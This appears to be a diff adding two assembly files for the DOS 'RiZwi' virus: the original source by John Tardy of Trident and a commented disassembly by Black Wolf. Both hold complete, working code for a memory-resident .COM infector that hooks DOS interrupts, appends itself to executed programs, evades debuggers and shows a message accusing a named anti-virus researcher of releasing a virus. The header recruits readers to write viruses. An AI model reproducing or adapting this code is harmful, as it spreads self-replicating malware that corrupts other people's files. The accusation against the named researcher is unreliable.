@ -0,0 +1,256 @@
;
; RiZwi Virus by John Tardy / Trident V1.1
;
; This is a tom-resident .com infector, including command.com. it attaches
; itself at the eof. when the generation counter is between 200 and 240, a
; timer counter will be started. when it reached 5000 hex ticks, it will
; display a message with black chars and a red background in the upper corner.
; The message says an important fact of Righard Zwienenberg, who is known in
; The Netherlands as a anti-virus researcher. In fact, he did release a virus,
; named "DUTCH-555". I know he did it accidentally, but you should do it. You
; have to be on just one side, virus or antivirus. If you can't choose, then
; stop with computing. If you choose, I hope you choose our side. It has more
; possibilities and with your capabilities your virii could be well-known
; (look at the VSUM for your ratings). Maybe you even choose to be part of
; [NUkE] or Phalcon/Skism or even Trident.
;
; This is a bug-fix of V1.0, which kept the original interupt in the main
; program, thus simply hanging. This one has also a little debugger trap.
Org 100h
Prg: Call On1
On1: Pop Bp
Sub Bp,On1
Mov Ah,30h
Int 21h
Cmp Bx,'BC'
Je Tooz
Mov Ah,2ah
Int 21h
In Al,21h
Cmp Cx,1993
Ja MakeRes
Cmp Dh,4
Ja MakeRes
Tooz: Jmp DoCom
MakeRes: Or Al,02h
Push Ax
Mov Ax,351ch
Int 21h
Mov Word Ptr Cs:Old1c[0][Bp],Bx
Mov Word Ptr Cs:Old1c[2][Bp],es
Pop Ax
Out 21h,Al
CutIt: Mov Ax,3521h
Int 21h
Mov Word Ptr Cs:Old21[0][Bp],Bx
Mov Word Ptr Cs:Old21[2][Bp],Es
In Al,21h
And Al,2
Push Ax
Mov Ax,Cs
Dec Ax
Mov Ds,Ax
Cmp Byte Ptr Ds:[0],'Z'
Jne DoCom
Sub Word Ptr Ds:[3],PrgPar
Sub Word Ptr Ds:[12h],PrgPar
Lea Si,Prg[Bp]
Mov Di,100h
Pop Ax
Cmp Al,2
Jne CutIt
Mov Ax,Word Ptr Ds:[12h]
Sub Ax,10h
Mov Es,Ax
Mov Cx,PrgLen
Push Cs
Pop Ds
Rep Movsb
In Al,21h
Xor Al,2
Mov Ds,Es
Out 21h,Al
Mov Ax,251ch
Lea Dx,New1c
Int 21h
Mov Ax,2521h
Lea Dx,New21
Int 21h
DoCom: Push Cs
Pop Ds
Mov Es,Ds
Mov Di,100h
Push Di
Lea Si,OrgPrg[Bp]
Movsw
Movsb
Ret
OrgPrg DB 0CDh,020h
DB '<27>'
Db '[TridenT]'
Dos: Pushf
Call Dword Ptr Cs:[Old21]
Ret
Db '{V1.1 Bugfix}'
Old21 DD 0
New21: Cmp Ax,4b00h
Je Exec
Cmp Ah,30h
Jne EOI
Call Dos
Mov Bx,'BC'
Iret
EOI: Jmp Dword Ptr Cs:[Old21]
Exec: Push Ax
Push Bx
Push Cx
Push Dx
Push Si
Push Di
Push Ds
Push Es
Push Bp
Push Ds
Push Dx
Mov Ax,4300h
Call Dos
Mov FAttr,Cx
Xor Cx,Cx
Mov Ax,4301h
Call Dos
Mov Ax,3d02h
Call Dos
Mov FHandle,Ax
Xchg Ax,Bx
Mov Ax,5700h
Call Dos
Mov Word Ptr Cs:[FTime],Cx
Mov Word Ptr Cs:[FDate],Dx
And Cx,1fh
Cmp Cx,1fh
Jne DoMore
Close: Mov Ah,3eh
Call Dos
Pop Dx
Pop Ds
Mov Cx,FAttr
Mov Ax,4301h
Call Dos
Jmp ShutDown
DoMore: Mov Ah,3fh
Push Cs
Pop Ds
Lea Dx,OrgPrg
Mov Cx,3
Call Dos
Cmp Word Ptr Cs:[OrgPrg],'MZ'
Je Close
Cmp Word Ptr Cs:[OrgPrg],'ZM'
Je Close
Mov Ax,4202h
Xor Cx,Cx
Xor Dx,Dx
Call Dos
Sub Ax,3
Mov Jump,Ax
Mov Ah,40h
Lea Dx,Prg
Mov Cx,PrgLen
Call Dos
Mov Ax,4200h
Xor Cx,Cx
Xor Dx,Dx
Call Dos
Mov Ah,40h
Lea Dx,Start
Mov Cx,3
Call Dos
Mov Ax,5701h
Mov Cx,FTime
Mov Dx,FDate
Or Cx,1fh
Call Dos
Inc Byte Ptr Cs:[FileCount]
Jmp Close
ShutDown: Pop Bp
Pop Es
Pop Ds
Pop Di
Pop Si
Pop Dx
Pop Cx
Pop Bx
Pop Ax
Jmp EOI
Old1c DD 0
New1c: pushf
push ax
push cx
push si
push di
push ds
push es
Cmp Byte Ptr Cs:[FileCount],200
Jb EOI16
Cmp Byte Ptr Cs:[FileCount],240
Ja EOI16
Cmp Word Ptr Cs:[ActCount],5000h
Je Activate
Inc Word Ptr Cs:[ActCount]
Jmp EOI16
Activate:
Mov Ds,Cs
Mov Ax,0b800h
Mov Es,Ax
Lea Si,ScrMsg
Mov Di,160
Sub Di,ScrLen
Mov Cx,ScrLen
Rep MovSb
EOI16: pop es
pop ds
pop di
pop si
pop cx
pop ax
popf
iret
ScrMsg Db ' OROiOgOhOaOrOdO OZOwOiOeOnOeOnObOeOrOgO OmOaOdOeO OtOhOeO ODOUOTOCOHO-O5O5O5O OVOiOrOuOsO!O!O!O O'
ScrLen Equ $-ScrMsg
FileCount Db 0
ActCount Dw 0
Start Db 0e9h
Jump Dw 0
FAttr Dw 0
FHandle Dw 0
FDate Dw 0
FTime Dw 0
PrgLen Equ $-Prg
PrgPar Equ (PrgLen+0fh)/16
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

@ -0,0 +1,297 @@
;Rizwi Virus from the TridenT research group.
;Memory resident .COM infector.
;This virus is only active after the spring of 1994.
;When active, it infects .COM files on execution, and keeps
;track of the number of files that it has infected. While it has
;infected between 0C8h and 0f0h files, it displays the message
;that " Righard Zwienenberg made the DUTCH-555 virus!!! " on
;the screen.
;This virus has some anti-debugging code, as it masks the keyboard
;interrupt and checks to see if it remaines masked, so when debugging
;through it one must jump over these sections of code (In/Out port 21h
;and the checking of ax accompanying them).
;Disassembly by Black Wolf
.model tiny
.code
org 100h
start:
call Get_Offset
Get_Offset:
pop bp
sub bp,offset Get_Offset
mov ah,30h
int 21h ;Get Dos version/Install Check
cmp bx,4243h
je DoneInstall ;Already Installed
mov ah,2Ah
int 21h ;Get date
in al,21h ;Read interrupt masks...
cmp cx,1993 ;Is year later than 1993?
ja GoMemRes ;If not, exit.
cmp dh,4
ja GoMemRes ;Is month < May, exit.
DoneInstall:
db 0e9h,74h,0 ;jmp ReturnToHost
GoMemRes:
or al,2
push ax
mov ax,351Ch
int 21h ;Get timer interrupt
mov cs:[Int1cIP+bp],bx
mov cs:[Int1cCS+bp],es
pop ax
out 21h,al ;Interrupt - disable keyboard?
SetInterrupts:
mov ax,3521h
int 21h ;Get int 21 address
mov word ptr cs:[OldInt21+bp],bx
mov word ptr cs:[OldInt21+2+bp],es
in al,21h
and al,2
push ax
mov ax,cs
dec ax
mov ds,ax ;Set DS = MCB
cmp byte ptr ds:0,'Z' ;Are we at the end of the
jne ReturnToHost ;memory chain?
;sub word ptr ds:[3],27h ;Decrease MCB size
db 81h,2eh,03,0,27h,0
;sub word ptr ds:[12h],27h ;Decrease PSP top of memory
db 81h,2eh,12h,0,27h,0
lea si,[bp+100h] ;SI = beginning of virus
mov di,100h ;DI = new offset (100h)
pop ax
cmp al,2 ;Did someone skip interrupt
jne SetInterrupts ;disabling code? If so,
;loop them back to redo
;interrupt setting.
mov ax,ds:[12h] ;Get free segment
sub ax,10h ;Subtract 10h to account for
mov es,ax ; offset of 100h
mov cx,263h
push cs
pop ds
rep movsb ;Copy virus into memory
in al,21h
xor al,2
push es
pop ds
out 21h,al ;Do the keyboard int again...
mov ax,251Ch
mov dx,offset Int1cHandler
int 21h ;Set int 1ch
mov ax,2521h
mov dx,offset Int21Handler
int 21h ;Set int 21h
ReturnToHost:
push cs ;Restore Seg regs
pop ds
push ds
pop es
mov di,100h
push di
lea si,[bp+Storage_Bytes] ;Storage bytes
movsw
movsb ;Restore host
ret
Storage_Bytes:
int 20h
popf
TridenT_ID db '[TridenT]'
FakeInt21h:
pushf
call dword ptr cs:OldInt21 ;Fake Interrupt 21h
retn
VirusVersion db '{V1.1 Bugfix}'
OldInt21 dw 0, 0
Int21Handler:
cmp ax,4b00h
je IsExecute
cmp ah,30h
jnz ExitInt21
call FakeInt21h
mov bx,4243h
iret
ExitInt21:
jmp dword ptr cs:OldInt21
IsExecute:
push ax bx cx dx si di ds es bp ds dx
mov ax,4300h
call FakeInt21h ;Get attributes
mov FileAttribs,cx ;Save them
xor cx,cx
mov ax,4301h ;Reset Attributes
call FakeInt21h
mov ax,3D02h ;Open file
call FakeInt21h
mov Filehandle,ax
xchg ax,bx
mov ax,5700h
call FakeInt21h ;Get file date/time
mov cs:[FileTime],cx ; and save them
mov cs:[FileDate],dx
and cx,1Fh
cmp cx,1Fh ;Check infection in time stamp
jne Infect_File
CloseFile:
mov ah,3Eh
call FakeInt21h
pop dx ;Pop filename address
pop ds
mov cx,FileAttribs
mov ax,4301h
call FakeInt21h ;Reset Attributes
db 0e9h, 67h, 0 ;jmp DoneInfect
Infect_File:
mov ah,3Fh
push cs
pop ds
mov dx,offset Storage_Bytes
mov cx,3
call FakeInt21h ;Read in first 3 bytes
cmp word ptr cs:[Storage_Bytes],4D5Ah ;Is EXE?
je CloseFile
cmp word ptr cs:[Storage_Bytes],5A4Dh ;Is alternate EXE?
je CloseFile
mov ax,4202h
xor cx,cx
xor dx,dx
call FakeInt21h ;Go to the end of file
sub ax,3 ;adjust size for jump
mov word ptr [JumpSize],ax ;save jump size
mov ah,40h
mov dx,100h
mov cx,263h
call FakeInt21h ;Append Virus to host
mov ax,4200h
xor cx,cx
xor dx,dx ;Go to beginning
call FakeInt21h ;of host file.
mov ah,40h
mov dx,358h
mov cx,3
call FakeInt21h ;Write Jump bytes
mov ax,5701h
mov cx,[FileTime]
mov dx,[FileDate]
or cx,1Fh ;Mark infection in time stamp
call FakeInt21h ;Restore time/date
inc byte ptr cs:[Counter] ;Activation counter...
jmp short CloseFile
DoneInfect:
pop bp es ds di si dx cx bx ax
jmp ExitInt21
Int1cIP dw 0
Int1cCS dw 0
Int1cHandler: ;While infections are between C8h and F0h,
;Stick message on screen every once in a while.
pushf
push ax cx si di ds es
cmp byte ptr cs:[Counter],0C8h
jb ExitInt1c
cmp byte ptr cs:[Counter],0F0h
ja ExitInt1c
cmp word ptr cs:[TimerCount],5000h
je WriteMessageToScreen
inc word ptr cs:[TimerCount]
db 0e9h,16h,0 ;jmp ExitInt1c
WriteMessageToScreen:
push cs
pop ds
mov ax,0B800h ;Text Screen memory
mov es,ax
mov si,offset Message
mov di,0A0h
db 81h,0efh,62h,0 ;sub di,EndMessage-Message
mov cx,EndMessage-Message
rep movsb
ExitInt1c:
pop es ds di si cx ax
popf
iret
;Message says " Righard Zwienenberg made the DUTCH-555 virus!!! "
;Capital O's are attribute values....
Message:
db ' OROiOgOhOaOrOdO OZOwOiOeOnOeOnO'
db 'bOeOrOgO OmOaOdOeO OtOhOeO ODOUO'
db 'TOCOHO-O5O5O5O OVOiOrOuOsO!O!O!O'
db ' O'
EndMessage:
Counter db 0
TimerCount dw 0
JumpBytes db 0E9h
JumpSize dw 0
FileAttribs dw 0
Filehandle dw 0
FileDate dw 0
FileTime dw 0
end start